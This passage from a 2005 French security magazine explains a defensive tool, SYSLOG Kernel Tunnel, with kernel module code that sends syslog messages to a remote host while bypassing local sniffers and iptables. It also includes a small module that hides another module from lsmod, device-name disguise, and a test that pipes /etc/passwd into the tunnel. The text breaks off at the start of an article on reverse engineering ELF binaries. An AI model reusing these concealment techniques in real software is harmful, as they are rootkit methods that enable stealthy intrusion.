de façon à ce que l'intrus ne se rende
pas compte qu'il a lieu.
Pour éviter ces désavantages, nous pouvons appliquer un
enregistrement des événements
à distance satisfaisant les conditions suivantes :
•
•
•
•
les messages doivent être
envoyés sans l'intermédiaire
d'un programme fonctionnant
dans l'espace utilisateur car la
désactivation de ce programme
signifi era la fin de l'enregistrement,
les messages réseau contenant les événements doivent
être invisibles pour l'intrus qui
essayera d'écouter le réseau
à l'aide de programmes de type
sniffeur,
l'intrus ne devrait pas être capable, au moyen des mécanismes
de pare-feu standard intégrés
dans le noyau (iptables), de
bloquer l'envoie des messages
réseau à un système distant,
il faut limiter l'ingérence dans les
programmes utilitaires à partir
hakin9 N o 2/2005
desquels proviennent les messages car une modification de
chacun d'eux peut être difficile
et fastidieuse, voire impossible.
���������������
Tous ces principes seront satisfaits
dans le projet SYSLOG Kernel Tunnel (SKT), conçu pour les systèmes
basés sur le noyau de Linux de série
2.4 et sur la bibliothèque GNU C Library (glibc) en version 2.3.2. Mais
avant de passer à l'utilisation de ce
projet dans la pratique, expliquons
les principes de son fonctionnement.
Architecture et
fonctionnement de
SYSLOG Kernel Tunnel
La tâche principale de SYSLOG
Kernel Tunnel consiste à envoyer
les journaux à un système distant
par l'intermédiaire d'un module du
noyau qui recevra les messages
à envoyer directement des applications utilitaires ou indirectement
de la fonction syslog(). Pour que le
serveur distant syslogd accepte les
connexions, il faut le lancer avec
l'option -r – grâce à cela, le serveur
sera connecté au port 514 UDP
et pourra recevoir les informations
envoyées via le réseau. De plus, la
présence et le fonctionnement du
module dans le système doivent
être masquées de façon à ce qu'un
���������������
������������������
����������������
������������������
���������������
�������������������
�������������������
����������������������
���������������������
������
������������������
��������
��������
����������� �����������
Figure 1. Structure et transfert des données dans SYSLOG Kernel Tunnel
www.hakin9.org
47
intrus potentiel ne soit pas capable
de le détecter et supprimer.
SYSLOG Kernel Tunnel se
compose de trois éléments : deux
modules du noyau du système
(tunnel.o et clean.o) et de la mise
à jour pour la bibliothèque glibc
– glibc-2.3.2-skt.patch (cf. l'Encadré Kernel, modules et bibliothèque
glibc). La structure et le transfert
des messages entre les éléments
du projet sont présentés sur la
Figure 1.
Analysons le premier élément du
projet – le module tunnel.o, responsable de l'envoi des messages à un
serveur de journaux distant.
Défense
Module tunnel.o
48
Le module tunnel.o est une partie
principale du projet. Après le chargement dans le noyau, il enregistre
un périphérique en mode caractère
(dans notre cas /dev/tunnel). Si des
données y sont enregistrées, le module les encapsule dans le paquet
UDP/IP et envoie à un serveur distant syslog écoutant sur l'adresse
IP indiquée. Grâce au fait que les
paquets sont générés dans le module et envoyés directement à partir
de ce dernier à un périphérique réseau, ils ne sont pas visibles dans
l'espace utilisateur et négligent les
fragments du noyau liés à la pile
TCP/IP et au mécanisme de sockets.
Il est impossible d'intercepter
de tels paquets à l'aide d'un sniffeur fonctionnant dans le système
source. Cela est dû au fait que la
plupart des sniffeurs, pour intercepter le trafic réseau, utilisent la
bibliothèque libpcap (ou similaires),
qui se sert des sockets pour collecter les paquets. De plus, les paquets
envoyés par le module négligent les
mécanismes de filtrage implémentés
dans le noyau (netfilter), il est donc
impossible de bloquer leur transfert
à l'aide d'iptables. Le processus de la
génération et de l'envoi des paquets
par le module est présenté sur la
Figure 2.
Bref, si l'intrus tente d'écouter
le réseau à partir d'un ordinateur
sur lequel SYSLOG Kernel Tunnel
Kernel, modules et bibliothèque glibc
Le noyau du système d'exploitation Linux (kernel) est un programme spécial gérant
tous les processus et ressources système. Ses tâches principales sont :
•
•
•
•
la gestion et la surveillance des processus (affectation du temps processeur, etc.),
la gestion du système de fichiers,
la gestion de la mémoire,
la gestion des dispositifs d'entrée-sortie.
Le noyau implémente les fonctions, types et structures de données utilisés par tous
les types de bibliothèques et applications utilitaires pour communiquer avec les périphériques. Le noyau détermine également les priorités et l'ordre d'exécution des programmes et d'affectation des ressources système nécessaires. Une caractéristique très
importante du noyau est que la communication avec lui se fait d'une façon différente
que dans le cas des processus ordinaires fonctionnant dans le système. Et ce qui est
le plus important – son fonctionnement ne peut pas être arrêté, même par l'utilisateur
ayant les droits de root, et l'observation de ces actions en temps réel est très compliquée
et assez limitée.
Une autre caractéristique très utile du noyau de Linux est la possibilité de développer ses fonctionnalités pendant le travail du système – le noyau peut être divisé en
parties appelés modules du noyau (en anglais Linux kernel modules – LKMs). Les
modules sont des fichiers objets, contiennent du code machine et les informations
permettant de les ajouter ou supprimer dynamiquement du noyau fonctionnant. En général, ce sont les pilotes de tous les types de dispositifs, mais ils peuvent aussi fournir
de nouvelles fonctions, types ou structures de données, modifiant le comportement
standard du noyau.
La bibliothèque glibc (GNU C Library) est un ensemble de fonctions importantes
utilisées par tous les programmes fonctionnant dans l'espace utilisateur. Elle constitue
un composant indispensable de chaque système d'exploitation de la famille Unix.
Elle fournit, entre autres, les fonctions gérant les appels système (en anglais system
calls), c'est-à-dire les fonctions de base implémentées dans le noyau qui permettent la
communication des processus utilitaires avec le noyau – grâce à cela, les processus
peuvent profiter du système de fichiers ou du matériel. Une telle fonction, essentielle
pour le projet SYSLOG Kernel Tunnel, est syslog().
���������������
������������������
����������������
������
��������
����������
��������
��������
����������
�����������
������������������
�����������
�����������
���������
���������
������������
����������
�����������
� ��������
���������
�������������������
������������
Figure 2. Processus de la génération et de l'envoi des paquets par le
module tunnel.o
www.hakin9.org
hakin9 N o 2/2005
á
Protection des journaux systeme
est installé, il ne pourra pas voir les
paquets avec les journaux envoyés,
et de cela, il ne se rendra pas compte que les événements du système
sont enregistrés sur une machine
distante. Évidemment, cela ne
concerne pas d'autres ordinateurs
dans un réseau qui ont accès aux
paquets UDP.
Le fonctionnement du module se
compose de trois actions :
•
•
•
l'initialisation et la vérification de
la validité de tous les paramètres
nécessaires pour le fonctionnement,
les opérations sur le périphérique en mode caractère dev/
tunnel,
la préparation et l'envoi du paquet
avec les données pour le serveur
distant.
Analysons minutieusement chacune
des phases.
Initialisation du module
Le fonctionnement du module commence (cf. le Listing 1) par vérifier
la validité des arguments transmis
par le programme insmod servant
à charger les modules (INTERFACE ,
DESTINATION _ MAC et DESTINATION _
IP). Si ces arguments ne contiennent
pas d'erreurs et si la communication
avec interface réseau est possible,
le module enregistre le périphérique
en mode caractère nécessaire pour
le fonctionnement (major = register _ chrdev(MAJOR _ NUMBER,
&fops).
NAME,
Le dernier pas de cette étape est d'informer le serveur syslogd
du début du travail et de donner le
numéro du périphérique en mode
caractère utilisé. Évidemment, si
le numéro affecté par le module
est identique à un identifiant déjà
existant dans le système, le serveur
en sera averti – il sera nécessaire
de supprimer le module et de le
recharger.
Opérations sur le périphérique
en mode caractère
Si une communication avec le
serveur distant est possible et
un périphérique approprié a été
hakin9 N o 2/2005
Listing 1. Début du travail du module tunnel.o
int init_module()
{
lock_kernel();
if (!INTERFACE) goto out_unlock;
if (!DESTINATION_MAC) goto out_unlock;
if (!DESTINATION_IP) goto out_unlock;
output_dev = __dev_get_by_name(INTERFACE);
if (!output_dev) goto out_unlock;
if (output_dev->type != ARPHRD_ETHER) goto out_unlock;
if (!netif_running(output_dev)) goto out_unlock;
(...)
major = register_chrdev(MAJOR_NUMBER, NAME, &fops);
if (major < 0) {
snprintf(log_buffer, LOG_SIZE - 1,
"Can not allocate major number!\n");
log_me(strlen(log_buffer), log_buffer);
goto out_unlock;
}
(...)
snprintf(log_buffer, LOG_SIZE - 1,
"SYSLOG Kernel Tunnel is starting up.\n");
log_me(strlen(log_buffer), log_buffer);
memset(log_buffer, '\0', LOG_SIZE);
snprintf(log_buffer, LOG_SIZE - 1,
"Tunnel device major number is %d.\n", major);
log_me(strlen(log_buffer), log_buffer);
memset(log_buffer, '\0', LOG_SIZE);
out_unlock:
unlock_kernel();
return 0;
}
Listing 2. Opérations sur le périphérique en mode caractère
(...)
static struct file_operations fops = {
.write = log_device_write,
.open = log_device_open,
.release = log_device_release
};
(...)
static int log_device_open(struct inode *inode, struct file *file)
{
MOD_INC_USE_COUNT;
return 0;
}
static int log_device_release(struct inode *inode, struct file *file)
{
MOD_DEC_USE_COUNT;
return 0;
}
static ssize_t log_device_write(struct file *filp, const char *buffer,
size_t length, loff_t *offset)
{
int res = 0;
if (length >= LOG_SIZE)
length = LOG_SIZE - 1;
res = copy_from_user(log_buffer, buffer, length);
res = log_me(length, log_buffer);
memset(log_buffer, '\0', LOG_SIZE);
return length;
}
www.hakin9.org
49
Défense
Listing 3. Création et transmission d'un paquet
50
inline int log_me(int lenght, char *buffer)
{
struct sk_buff *skb;
if(!output_dev)
return -1;
if(!(skb = gen_packet(lenght, buffer)))
return -1;
return send(skb);
}
inline struct sk_buff *gen_packet(int lenght, char *buffer)
{
(...)
packet_size = sizeof(struct ethhdr) + sizeof(struct iphdr)
+ sizeof(struct udphdr) + lenght;
skb = alloc_skb(packet_size, GFP_ATOMIC);
if (!skb)
return 0;
skb_reserve(skb, sizeof(struct ethhdr));
eth = (struct ethhdr *) skb_push(skb, sizeof(struct ethhdr));
iph = (struct iphdr *) skb_put(skb, sizeof(struct iphdr));
udph = (struct udphdr *) skb_put(skb, sizeof(struct udphdr));
payload = (u_char *) skb_put(skb, lenght);
udph->source = htons(SOURCE_PORT);
udph->dest = htons(DESTINATION_PORT);
udph->len = htons(lenght + sizeof(struct udphdr));
udph->check = 0;
iph->ihl = 5;
iph->version = 4;
iph->ttl = 32;
iph->tos = 13;
iph->protocol = IPPROTO_UDP;
if (in_dev->ifa_list)
iph->saddr = in_dev->ifa_list->ifa_address;
else {
kfree_skb(skb);
return 0;
}
iph->daddr = in_aton(DESTINATION_IP);
iph->frag_off = 0;
iph->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr)
+ lenght);
iph->check = 0;
eth->h_proto = htons(ETH_P_IP);
eth->h_source[0] = output_dev->dev_addr[0];
eth->h_source[1] = output_dev->dev_addr[1];
eth->h_source[2] = output_dev->dev_addr[2];
eth->h_source[3] = output_dev->dev_addr[3];
eth->h_source[4] = output_dev->dev_addr[4];
eth->h_source[5] = output_dev->dev_addr[5];
memcpy(octet, DESTINATION_MAC, 2);
eth->h_dest[0] = hotou(octet);
memcpy(octet, DESTINATION_MAC + 3, 2);
eth->h_dest[1] = hotou(octet);
memcpy(octet, DESTINATION_MAC + 6, 2);
eth->h_dest[2] = hotou(octet);
memcpy(octet, DESTINATION_MAC + 9, 2);
eth->h_dest[3] = hotou(octet);
memcpy(octet, DESTINATION_MAC + 12, 2);
eth->h_dest[4] = hotou(octet);
memcpy(octet, DESTINATION_MAC + 15, 2);
eth->h_dest[5] = hotou(octet);
(...)
strncpy(payload, buffer, lenght);
iph->check = ip_fast_csum((void *) iph, iph->ihl);
(...)
www.hakin9.org
créé (/dev/tunnel), tunnel.o passe
à l'étape suivante, c'est-à-dire
à la préparation des données qui
seront ensuite envoyées au serveur distant. Le module offre trois
opérations de base (fonctions) sur
le périphérique en mode caractère
enregistré : ouverture (log _ device _ open),
enregistrement
(log _ device _ write) et fermeture
(log _ device _ release). Elles sont
fournies à la fonction register _ chrdev en tant que structure
fi le _ operations qui contient les
fonctions de service appropriées
pour les opérations spécifi ques
(cf. le Listing 2).
Les
fonctions
d'ouverture
et de fermeture du fi chier de périphérique – log _ device _ open
et log _ device _ release – seulement augmentent et réduisent le
compteur qui calcule le nombre de
processus dans le système utilisant
ce module. Cela permet d'éviter la
suppression du module au moment
où il est utilisé. Par contre, la fonction log _ device _ write détermine
les actions du module au moment
où des données seront enregistrées dans le fi chier de périphérique.
Aussi dangereuse que la suppression du module pendant son
travail serait la situation où le processus tenterait d'enregistrer dans
le tampon (log _ buffer) plus de
données (if length >= LOG _ SIZE),
que le paquet envoyé ultérieurement
(LOG _ SIZE) pourrait contenir. Pour y
remédier, le module réduira le nombre de données obtenues (length
= LOG _ SIZE – 1), et retournera au
processus le nombre de caractères
reçus – cela empêchera la perte de
données.
Après avoir copié la quantité appropriée de données dans
le tampon log _ buffer, le module
appelle la fonction log _ me qui prend
en argument le tampon contenant un
message à envoyer et sa longueur.
Ensuite, il met à blanc le contenu du
tampon (memset(log _ buffer, '\0',
LOG _ SIZE)) et retourne au processus
le nombre de données chargées (return _ length).
hakin9 N o 2/2005
á
Protection des journaux systeme
Création
et transmission
du paquet
Trois fonctions sont responsables
de la création et de la transmission
d'un paquet au serveur syslogd :
log _ me() ayant la valeur définie
pendant l'opération sur le périphérique en mode caractère, gen _ packet() – créant un paquet à envoyer
et send(), répondant de l'envoi du
paquet créé à une machine distante
(cf. le Listing 3).
La tâche de la fonction gen _ packet() consiste à générer un paquet
UDP/IP contenant notre message
et à le mettre à disposition en tant
que structure sk _ buff, c'est-à-dire,
l'une des structures principales du
noyau servant à traiter les données
entrant et sortant par les interfaces
réseau. Premièrement, il faut déterminer la taille du paquet ; pour
cela, il faut additionner les tailles
des en-têtes spécifiques (IP, UDP
et Ethernet) et la longueur du message compris dans la variable lenght (packet _ size = sizeof(struct
Listing 3. Création et transmission d'un paquet, suite
(...)
inline int send(struct sk_buff *skb)
{
if (!skb)
return -1;
spin_lock_bh(&output_dev->xmit_lock);
if (output_dev && !netif_queue_stopped(output_dev))
output_dev->hard_start_xmit(skb, output_dev)
else
kfree_skb(skb);
spin_unlock_bh(&output_dev->xmit_lock);
return 1;
}
�������������
����������������������
����������������
�������������
����������
���������������
���������������
�������������
����������������
�������������
������������
����������������������
�������
���������������
���������������
ethhdr) + sizeof(struct iphdr) +
udphdr) + lenght).
une nouvelle structure
sk _ buff capable de contenir le paquet entier est allouée. Après la
réservation de la place pour l'entête Ethernet (skb _ reserve(skb,
sizeof(struct
ethhdr))), les entêtes UDP et IP (iph et udph) sont
remplis ; l'adresse source pour
l'en-tête IP est chargée à partir de
l'interface réseau – iph->saddr =
in _ dev->ifa _ list->ifa _ address.
Si l'interface n'a pas d'adresse
affectée, la création du paquet est
interrompue.
L'étape suivante est le remplissage de l'en-tête Ethernet – l'adresse
MAC source est chargée, de même
que dans le cas de l'en-tête IP,
à partir de l'interface d'entrée. Enfin,
le module, à partir de la variable lenght, copie dans le paquet les données à envoyer (strncpy(payload,
buffer, lenght), et ensuite, il calcule la somme de contrôle pour
l'en-tête IP (iph->check = ip _ fast _
csum((void *) iph, iph->ihl)).
sizeof(struct
Ensuite,
hakin9 N o 2/2005
Figure 3. Environnement de travail SYSLOG Kernel Tunnel typique
À la fin, la fonction
inline
int
envoie
le paquet créé via l'interface réseau
déterminée (output _ dev).
send(struct
sk _ buff
*skb)
Installation et configuration
du module tunnel.o
Nous connaissons déjà le fonctionnement du module tunnel.o. L'étape
suivante du démarrage du transfert
des journaux est l'installation de
ce module. Si les deux ordinateurs
(source et serveur syslogd) sont dans
le même réseau ou sont séparés par
un routeur, l'installation se fait d'une
façon différente. Le schéma des environnements de travail SKT typiques
est présenté sur la Figure 3.
Le processus de l'installation
commence par le décompactage de
l'archive avec les codes sources du
projet :
# tar zxf skt-0.1.tgz
www.hakin9.org
Ensuite, nous devons compiler le
module :
# cd skt-0.1
skt-0.1# make
Le module a été
configuration a été
dant le chargement
et consiste à définir
suivants :
•
•
•
construit. Sa
effectuée pendans le noyau
les paramètres
– l'interface réseau
via laquelle les paquets avec les
messages seront envoyés,
SOURCE _ PORT – le port source
contenu dans l'en-tête des paquets UDP générés ; s'il n'est pas
défini, le module utilise la valeur
la défaut (514),
DESTINATION _ MAC – l'adresse matérielle de l'interface réseau de
la machine cible ; si l'ordinateur
cible n'est pas dans le même
INTERFACE
51
Bibliothèque glibc – chose difficile ?
La mise à jour de la bibliothèque glibc dans le système fonctionnant est une tâche très difficile. L'installation des correctifs et la
compilation ne posent pas de problèmes, mais l'installation d'une
nouvelle version est assez compliquée et, malheureusement, ne
se limite pas à la commande magique make install. Cela est dû
au fait que lors de l'installation, les fichiers des bibliothèques partagées utilisées par tous les programmes lancés dans le système
sont changées. Leur suppression ou remplacement peuvent causer des problèmes dans toutes les applications qui les utilisent
– de cela, l'installation ne réussira pas. Cela concerne également
les programmes principaux, comme cp, ls, mv ou tar.
Il existe quelques possibilités pour résoudre ce problème.
L'une d'elles consiste à préparer les versions des outils compilés
statiquement (c'est-à-dire ceux qui n'utilisent pas les bibliothèques partagées), nécessaires dans le processus d'installation.
Cela concerne les jeux de programmes comme binutils, make,
# cp ../skt-0.1/glibc-2.3.2-skt.patch .
core-utils, tar et bash. Toute la procédure de mise à jour de
glibc de cette manière est très bien décrite dans le document Glibc Installation HOWTO qui est disponible sur le site
http://www.tldp.org/ (cf. l'Encadré Sur le réseau).
Une autre méthode consiste à préparer un paquet avec la
bibliothèque glibc convenable pour la distribution de Linux utilisée et à l'installer dans le système après le démarrage de l'ordinateur, par exemple à partir du CD d'installation. Comment le
faire ? Analysons cette procédure sur l'exemple de la distribution
Slackware 9.1.
Nous créons un répertoire de travail et nous y chargeons les
archives appropriés avec le code source :
lequel nous sommes :
Dans le script glibc.SlackBuild, sur la ligne 81 (avant les lignes
responsables de la compilation), nous ajoutons la ligne qui saisira notre correctif pendant la construction du paquet :
cat $CWD/glibc-2.3.2-skt.patch | patch -p1
Bien sûr, l'installation du correctif peut être effectuée manuellement. Enfin, nous construisons le paquet en démarrant le script
glibc.SlackBuild :
# ./glibc.SlackBuild
En résultat, dans le répertoire /tmp nous obtenons le paquet glibc2.3.2-i486-1.tgz tout prêt. Nous le copions dans le répertoire dans
cp /tmp/glibc-2.3.2-i486-1.tgz .
Ensuite, nous démarrons l'ordinateur à partir du CD d'installation et nous montons le système de fichiers principal qui dans
cet exemple se trouve sur la partition hda2, dans le répertoire
/HOST :
# mkdir /HOST
# mount /dev/hda2 /HOST
À la fin, nous installons le paquet de la bibliothèque glibc modifié :
# mkdir glibc
# cd glibc
# wget -c ftp://ftp.icm.edu.pl/pub/linux/
slackware/slackware-9.1/source/l/glibc/*
# installpkg -root /HOST \
§
/HOST/root/glibc/glibc-2.3.2-i486-1.tgz
Ensuite, nous copions dans le répertoire courant la mise à jour
glibc-2.3.2-skt.patch :
Défense
•
•
•
52
réseau que l'ordinateur source,
il faut définir l'adresse de l'interface du routeur qui servira d'intermédiaire dans la transmission
des paquets,
DESTINATION _ IP – l'adresse IP de
l'ordinateur cible,
DESTINATION _ PORT – le port cible
des paquets UDP ; s'il n'est pas
défini, le module utilise la valeur
514, c'est-à-dire le port standard
sur lequel le programme sysklogd
écoute,
NAME – le nom du périphérique
qui sera enregistré ; le nom par
défaut est tunnel,
•
Après le redémarrage, le système utilisera la version modifiée de
la fonction syslog().
– le numéro du périphérique qui sera enregistré ; s'il
n'est pas donné ou a la valeur 0,
le numéro sera affecté dynamiquement par le noyau.
MAJOR _ NUMBER
Essayons de charger le module
et de vérifier son fonctionnement.
Pour les ordinateurs qui se trouvent
dans le même réseau, cela se présente ainsi :
# insmod tunnel.o \
INTERFACE=eth0 \
DESTINATION_MAC=01:02:03:04:05:06 \
DESTINATION_IP=10.0.0.10
www.hakin9.org
Si les machines sont dans les réseaux différents, cette commande
sera un peu différente :
# insmod tunnel.o \
INTERFACE=eth0 \
DESTINATION_MAC=11:12:13:14:15:16 \
DESTINATION_IP=20.0.0.30
Quelle est la différence ? Dans
le premier cas, si le système protégé et le serveur de journaux se
trouvent dans le même réseau,
aux paramètres DESTINATION _ MAC
et DESTINATION _ IP nous affections
les valeurs étant les adresses MAC
hakin9 N o 2/2005
á
Protection des journaux systeme
et IP de la machine cible. Par contre,
si les messages doivent être envoyés dans le système qui se trouve
dans un réseau différent que l'ordinateur source, le paramètre DESTINATION _ MAC doit déterminer l'adresse
MAC de l'interface réseau du routeur
qui servira d'intermédiaire dans la
transmission des messages.
De plus, lors du chargement
du module tunnel.o dans le noyau,
il est possible de définir le port
source et cible contenu dans les
en-têtes des paquets UDP générés.
Dans certaines situations (par exemple la configuration non standard du
serveur distant sysklogd) cela peut
s'avérer utile.
Maintenant, nous devons créer
le fichier de périphérique en mode
caractère via lequel nous communiquerons avec le module. Pour ce
faire, utilisons le numéro principal du
périphérique affecté au module par
le noyau qui, après le chargement
correct, sera envoyé au serveur distant syslogd :
SYSLOG Kernel Tunnel is starting up.
Tunnel device major number is 254.
Pour créer le fichier de périphérique, il faut exécuter la commande
suivante :
# mknod /dev/tunnel c 254 0
Il est grand temps de tester le fonctionnement du module :
# echo “hoho” > /dev/tunnel; \
cat /etc/passwd > /dev/tunnel
Bien sûr, une simple opération de
configuration et le lancement du
module ne suffisent pas pour que
les journaux soient envoyés à un
système distant par les applications utilitaires. Pour que le module
tunnel.o satisfasse aux principes
adoptés, nous devons modifier la
fonction syslog() de façon à ce
qu'avant d'envoyer un message aux
journaux d'événements système, elle
l'enregistre dans le fichier de notre
périphérique. Une telle modification
est comprise dans la mise à jour de
hakin9 N o 2/2005
Listing 4. Fragment modifié du code de la fonction syslog() – fichier
syslog.c
(...)
FILE *tunnel = NULL;
(...)
tunnel = fopen(TUNNEL, "w");
if (tunnel) {
fprintf(tunnel, "%s", buf);
fclose(tunnel);
}
Listing 5. Mode d'emploi du module clean.o
# lsmod
Module
# insmod -y tunnel.o
# lsmod
Module
tunnel
# insmod clean.o
# lsmod
Module
clean
# rmmod clean
# lsmod
Module
Size
Used by
Size
5184
Used by
0 (unused)
Size
240
Used by
0 (unused)
Size
Used by
Listing 6. Code source du module clean.o
#define __KERNEL__
#define MODULE
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/string.h>
MODULE_LICENSE("GPL");
int init_module()
{
if (__this_module.next)
__this_module.next = __this_module.next->next;
return 0;
}
int cleanup_module()
{
return 0;
}
la bibliothèque glibc en version 2.3.2
qui fait partie de notre projet SKT.
Mise à jour la
bibliothèque glibc
Le second élément très important
du SKT est le correctif portant le
nom glibc-2.3.2-skt.patch (il est évidemment disponible sur hakin9.live).
Après l'ajout au code source de la
bibliothèque glibc, le correctif modifie
la fonction système syslog() de façon
à ce que tous les messages, envoyés
www.hakin9.org
à un enregistreur d'événement local
soient en même enregistrés dans le
fichier /dev/tunnel. Grâce à cela, nous
pouvons surveiller toutes les applications fonctionnant dans le système
sans avoir à en modifier une. De plus,
le correctif définit le périphérique en
mode caractère à utiliser – au fichier
glibc-2.3.2/misc/sys/syslog.h il ajoute
une constante contenant le nom du
fichier de notre périphérique :
#define TUNNEL
"/dev/tunnel"
53
Défense
Listing 7. Contenu du fichier
/proc/devices après le
chargement du module tunnel.o
Listing 8. Contenu du
fichier /proc/devices après la
dissimulation du périphérique
# cat /proc/devices
Character devices:
1 mem
2 pty
3 ttyp
4 ttyS
5 cua
7 vcs
10 misc
29 fb
109 lvm
128 ptm
129 ptm
136 pts
137 pts
162 raw
254 tunnel
# cat /proc/devices
Character devices:
1 mem
2 pty
3 ttyp
4 ttyS
5 cua
7 vcs
10 misc
29 fb
109 lvm
128 ptm
129 ptm
136 pts
137 pts
162 raw
195 nvidia
Block devices:
1 ramdisk
2 fd
3 ide0
7 loop
9 md
58 lvm
Block devices:
1 ramdisk
2 fd
3 ide0
7 loop
9 md
58 lvm
La modification est si simple que la
mise à jour d'une édition quelconque
de glibc ne devrait pas poser de problèmes (cf. l'Encadré Bibliothèque
glibc – chose difficile ?).
Le Listing 4 présente les modifications de base implémentées
par le correctif dans le code source
de la fonction syslog(). La fonction
modifiée, après l'appel, ouvrira en
mode RW (read-write) le fichier de
périphérique dont le nom se trouve
dans la constante TUNNEL (tunnel =
fopen(TUNNEL, "w"). Si le fichier est
ouvert correctement, la chaîne de
caractères contenue dans la variable
buf (c'est-à-dire le journal de l'événement système qui nous intéresse)
y est inscrite. Après cette opération,
la fonction syslog() ferme le fichier
de périphérique.
Dissimulation de la
présence dans le
système
Dans la confi guration standard,
il est très facile de détecter la présence du module tunnel.o dans
le système d'exploitation. Tout
54
droits d'administrateur, est toujours
capable de le supprimer. Pour
y remédier, nous avons le second
module faisant partie du projet.
Très simple, sa tâche consiste
justement à cacher la présence du
module tunnel.o (ou autre) dans le
noyau.
Module clean.o
d'abord, le module est visible dans
la liste des modules du noyau actifs. Cette liste peut être affi chée
à l'aide de la commande lsmod
(il est donc possible de supprimer
ce module par la commande rmmod). Nous pouvons, au moyen
du paramètre -o de la commande
insmod, charger le module sous
un autre nom, mais ce n'est qu'une
solution partielle.
Pourtant, comme il est facile
à deviner, l'intrus possédant les
Le principe du fonctionnement du
module clean.o se base sur le fait
que le noyau stocke les modules
chargés sous forme d'une liste unidirectionnelle. Le début de la liste
est le pointeur vers la structure module portant le nom *module _ list,
par contre chaque module ajouté au
noyau est mis à son début. La variable *next disponible dans la structure
module, est mise au début précédent
de la liste.
Le module clean.o supprime
de la liste (mais pas du noyau) le
module qui se trouve actuellement
au début (c'est-à-dire celui qui a
été lancé en dernier) en mettant son
pointeur *next sur le module deux
positions plus loin. Le fonctionnement du module clean.o est présenté
sur la Figure 4, et son mode d'emploi
est disponible dans le Listing 5. Le
code source du module est affiché
dans le Listing 6.
Mais ici le jeu de cache-cache
avec l'intrus potentiel ne finit pas.
Il suffit que le pirate consulte les
fichiers appropriés dans le répertoire /proc, et tous nos efforts sont
vains.
�����������������������������������������������
������������
��������
��������������������
��������
��������������������
��������
��������������������
��������
��������������������
��������
��������������������
���
��������
��������������������
���
���
��������������������
������������
�������
��������������������
��������������������������������
������������
��������
��������������������
Figure 4. Fonctionnement du module clean.o
www.hakin9.org
hakin9 N o 2/2005
á
Protection des journaux systeme
Nom et numéro du
périphérique
Tous les périphériques enregistrés
dans le système sont consultables
dans le fichier /proc/devices (le
Listing 7 présente le contenu de ce
module après le chargement du module tunnel.o). Comme vous voyez,
il contient l'information sur le nom
et le numéro de notre périphérique.
De cela, pour empêcher de détecter
la présence du module, il faut modifier le nom standard et le numéro
du périphérique enregistré par le
module tunnel.o.
Pour ce faire, il faut, pendant
le chargement du module, déterminer les paramètres NAME (nom)
et MAJOR _ NUMBER (numéro du périphérique). Comment le faire ? Admettons que nous voulons cacher
notre périphérique sous le nom
nvidia (le numéro du périphérique
195 est un numéro des cartes graphiques nVidia) :
������������������������
�������������
������
����������������
���������������
������������
����������������������������
������������������������������
�������������������������
��������������������
������������
��������
���������
������������������
�����������������
��������������������
������������
������������������
�������
������
# insmod -y tunnel.o \
INTERFACE=eth0 \
�������
DESTINATION_MAC=01:02:03:04:05:06 \
DESTINATION_IP=10.0.0.10 \
NAME=nvidia \
MAJOR_NUMBER=195
Il faut faire attention à ne pas donner
les valeurs qui sont déjà utilisées
– si c'est le cas, le périphérique ne
sera pas enregistré. Heureusement,
le module informera le serveur de
journaux sur le problème éventuel
lié aux valeurs de ces paramètres en
envoyant le message suivant :
Cannot allocate major number!
Listing 8 présente le résultat après la
saisie de ces paramètres.
La dernière chose que nous
devons faire est la modification
du nom du fichier de périphérique
Figure 5. Schéma du fonctionnement du module tunnel.o
/dev/tunnel de façon à éviter une
association quelconque au module
tunnel.o. Mais il ne faut pas oublier
de modifier le nom du fichier dans la
mise à jour pour la fonction syslog()
(et plus précisément – dans le fichier
misc/sys/syslog.h disponible dans
le répertoire avec les sources de la
bibliothèque glibc).
Meilleur et plus sûr
SYSLOG Kernel Tunnel en version actuelle ne fournit que des
fonctionnalités principales. Bien
qu'il fonctionne tout à fait correctement, il y a des choses qu'il
pourrait faire mieux – avant tout,
protéger les journaux contre les
Sur le réseau
•
•
http://bama.ua.edu/~dunna001/journeyman/html/c241.htm – le manuel d'utilisation
pour la création des modules du noyau de Linux,
http://www.tldp.org/HOWTO/Glibc2-HOWTO-2.html – le tutorial concernant la
mise à jour de la bibliothèque glibc.
hakin9 N o 2/2005
www.hakin9.org
attaques (surtout contre l'écoute)
à partir d'un autre ordinateur que
celui qui envoie les messages. Le
mieux serait de chiffrer les messages avant l'envoi, mais pour cela,
il faudrait concevoir un programme
réceptionnant et déchiffrant les
messages ou, éventuellement, modifi er le serveur syslogd de façon
à ce qu'il s'en occupe. Une autre
chose importante serait d'ajouter la
possibilité d'envoyer les messages
générés par le noyau même, mais
pour cela, il serait probablement
nécessaire de modifi er la fonction
interne du noyau printk() qui est
conçue à cet effet.
Le projet SYSLOG Kernel Tunnel, bien qu'il soit très jeune, est
développé très dynamiquement. Si
vous avez des idées, du savoir-faire
ou vous voulez aider, n'hésitez pas
à contacter l'auteur Michał Piotrowski
– [email protected]. n
55
Reverse engineering
– analyse dynamique du
code exécutable ELF
Marek Janiczek
L'analyse dynamique du code
exécutable ELF donne plus de
possibilités que l'analyse statique
– elle permet d'influencer le
fonctionnement d'un programme
étudié. Elle n'est pas trop difficile
à effectuer, mais exige un
environnement séparé.
Défense
D
56
ans l'analyse après intrusion, il y a deux
approches principales pour réaliser
l'ingénierie inverse d'un programme
exécutable suspect. La première, c'est l'analyse statique pendant laquelle le programme
examiné n'est pas lancé, mais en se basant
uniquement sur le contenu, la logique et les
mécanismes appliqués (cf. l'article Ingénierie
inverse du code exécutable ELF dans l'analyse
après intrusion, hakin9 1/2005). La seconde
est l'analyse dynamique, c'est-à-dire les tentatives de lancer sous contrôle et de tracer le
fonctionnement du programme suspect. Ce
qui caractérise l'analyse dynamique, c'est la
possibilité d'influencer le fonctionnement et le
déroulement du programme étudié.
Nous analyserons le programme suspect
kstatd, retrouvé dans un système compromis.
Outre la description des techniques et des
outils nécessaires pour l'analyse, nous présenterons les problèmes classiques qui peuvent
avoir lieu lors des examens. Certains éléments
de l'analyse dynamique présentée seront utiles
pour collecter les preuves concernant le système compromis ou lors de ce qu'on appelle live
forensic analysis, c'est-à-dire l'analyse après
intrusion en direct.
www.hakin9.org
Environnement de travail
Si nous nous décidons d'effectuer l'analyse dynamique d'un fichier exécutable suspect, nous
devons nous rendre compte qu'un tel fichier
peut contenir des mécanismes ayant pour le
but de l'empêcher ou de tromper la personne
qui l'effectue (cf. l'Encadré Techniques empêchant le désassemblage et le débogage). Prévoir le comportement du programme analysé
